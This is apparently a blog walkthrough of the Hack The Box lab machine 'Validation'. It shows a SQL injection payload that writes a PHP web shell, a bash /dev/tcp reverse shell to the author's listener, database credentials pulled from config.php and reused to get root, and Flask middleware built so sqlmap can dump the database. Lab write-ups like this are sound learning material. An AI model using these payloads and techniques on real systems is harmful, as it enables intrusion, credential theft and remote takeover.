Validation is an easy Linux virtual machine created by IppSec on Hack The Box and I’m going to hack it. Hello world, welcome to Haxez where today I will be explaining how I hacked Validation. To hack this box you will need web enumeration and SQL injection skills.
Validation Host Enumeration
First, I connected to the VPN and spawned the machine through the Hack The Box control panel. Next, I pinged the box to ensure that it was online and that I could talk to it. Following that, I exported the IP address to a variable called ‘validation’ and scanned it. Using Nmap, I scanned the host for all ports, running default scripts and requesting service versions. As a result, you can see that the host had port 22 for SSH, port 80 for HTTP (Apache) and port 4566 for HTTP (Nginx) open.
┌──(kali㉿kali)-[~/HTB/Validation]
└─$ export validation="10.129.95.235"
┌──(kali㉿kali)-[~/HTB/Validation]
└─$ sudo nmap -sC -sV -p- $validation -oA validation
SSH was unlikely to be the intended attack vector so I loaded up Burp and launched the built-in browser. Next, I navigated to the IP address of the box and was presented with a UHC September Qualifiers registration page.
Validation Web Application Enumeration
The application lets you submit a name to register for the UHC September Qualifiers. Furthermore, the names of the players from the submitted country are then included in the response. For that reason, I suspected that the application might be vulnerable to SQL Injection.
Therefore, I saved the POST request to a file and fed it to ‘sqlmap’. You can see from the results below that ‘sqlmap’ doesn’t believe the parameters were injectable. I’m quite surprised that ‘sqlmap’ didn’t find it as the application does produce an SQL error when doing it manually. It could be because it is second-order SQL injection but I honestly don’t know. I’m going to read through the HackTricks article this evening. IppSec also has a video where he discusses creating middleware to make ‘sqlmap’ work so I might take a look at that at the end.
Admittedly, due to a lack of understanding or laziness, I probably wouldn’t have poked at this further until I saw the error message. However, I captured the registration POST request with Burp and sent it to ‘repeater’. Next, I added a single quotation mark to the end of the value of the country parameter. I sent the request but didn’t see any SQL errors in Burp. At first, I thought it was because of my cookie settings but I had session cookies enabled for ‘repeater’. However, as you can see from the image below, the SQL injection did break the syntax of the SQL statement.
username=haxez&country=United+Kingdom'
Exploiting SQL Injection
The process to test this is as follows. First, capture a registration POST request. Second, append the single quotation character to the value of the country parameter. Third, send the request and copy the value of the cookie in the 302 response. Fourth, paste the value of the cookie in your current cookie and refresh the page. The results should show that the parameter is injectable. I used this vulnerability to write a PHP web shell to the ‘/var/www/html/’ directory.
username=shell&country=United+Kingdom' union select "<?php SYSTEM($_REQUEST['cmd']) ?>" INTO OUTFILE '/var/www/html/shell.php'-- -
I then visited ‘http://10.129.234.49/shell.php?cmd=id’ in my browser which responded with the information of the user that the webserver was running as.
Validation Foothold
I took the request to ‘shell.php’ from Burp’s HTTP history and sent it to ‘repeater’. Next, I converted the request method from a GET to a POST. Then I set up a netcat listener on port 9001 and crafted a reverse shell payload in the POST request. Finally, I URL encoded the payload by highlighting it and pressing ‘CTRL+U’ and sent it. Then I got that feeling that you get when the response hangs… success.
cmd=bash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.36/9001+0>%261'
The reverse shell had successfully connected back to my machine and I now had a foothold on the box as ‘www-data’.
Validation Pillaging and Privilege Escalation
It’s time to pillage! now that I had access to the box, I could look for privilege escalation methods. All database-powered websites have a database connection configuration file. For example, WordPress has ‘wp-config.php’ which contains the username and password of the database user. Validation’s configuration file was called config.php. The database connection configuration file for this web application was named config.php. Within that configuration file were the credentials for the database.
$servername = "127.0.0.1";
$username = "uhc";
$password = "uhc-▓▓▓▓▓▓▓▓▓▓-pw";
$dbname = "registration";
I used the password to switch user to the root user and was able to capture both the user and root flags.
cat /root/root.txt
078▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓f57
ls /home
htb
cat /home/htb/user.txt
904▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓0d3
Middleware for SQLMap
I watched IppSec’s video walkthrough of this box, specifically the application middleware section. He believes that ‘sqlmap’ couldn’t find the vulnerability due to the username. However, he creates a solution that makes it work using a Python Flask application. Since the whole purpose of these write-ups is for me to learn, I decided to copy him.
Personal Rant
Admittedly, the most Python coding I’ve done was at University when I recreated the game Boggle. My lecturer failed me and I had to resit the whole module the following year because I didn’t provide enough documentation. The program worked fine though. I believe that’s the reason I started falling behind in other classes which resulted in me dropping out during my final year. It’s a shame because I was mostly getting A’s and B’s until that point. Can you tell how not salty I am about wasting thousands of pounds? Anyway back to the lab.
Flask Application
The Flask application will send the request to the Validation host for us. It will populate the ‘username’ and ‘password’ parameters and send them as a POST request. This should allow ‘sqlmap’ to identify the vulnerability and allow me to dump the database. The foothold would still be through the PHP reverse shell but this way I get to learn some Python. You can see the code (which I “borrowed” from IppSec) below.
from flask import Flask
from flask import request
import uuid
import requests
app = Flask(__name__)
@app.route('/')
def index():
data = {"username": uuid.uuid4().hex,
"country": request.args.get("country")}
r = requests.post('http://10.129.234.49', data=data)
return r.text
app.run(host='0.0.0.0', port=80)
The Set-Up
I span up the Python Flask application using the command below. Once the application was up and running, I visited my localhost on port 80 in the Burp browser. I appended the country parameter to the request and intercepted it with Burp. I then copied the request to a file and called it middleware.
┌──(kali㉿kali)-[~/HTB/Validation]
└─$ sudo python3 mid.py
The Heist
With the request saved, I fed it to ‘sqlmap’ with no other arguments. As you can see below, it did indeed find that the ‘country’ parameter was vulnerable to SQL injection. I ran ‘sqlmap’ again but this time I appended the ‘–dump’ argument to the end of the command. The database was successfully dumped.
The data from the database was also saved to a CSV which was nice.
Validation Learnings
Validation has been pwned! I know it’s a retried box but spoilers ahead! This was a fun box and I believe it did a great job of presenting what needed to be attacked. There didn’t appear to be any rabbit holes to fall down which was nice. The application allowed users to register and then retrieved data from a database and presented it to the user. I thought this sent a pretty clear message as to what needed to be done. The foothold taught me that you can use MySQL to write a file to the local filesystem. I think I knew this before but from an administrative perspective. However, that neural pathway for exploiting it has now been created. The reverse shell through Burp worked on my first attempt which suggests I’m getting a better grasp on that.
I think the privilege escalation was realistic. From my time in the industry, I know that weak passwords and password reuse happens often. It also shows the importance of properly enumerating a host. There could be stored credentials that would allow you to easily elevate your privileges. Unfortunately, I’m currently stuck in a mindset where I assume people won’t use weak passwords or the same password for a higher privileged account. The same can be said for when testing applications, I automatically assume that it has been developed securely. While I’m frequently proven wrong, it still surprises me. Perhaps it’s positive thinking but at least I’m aware that my thinking is flawed and can reprogram myself. Great box, thanks IppSec.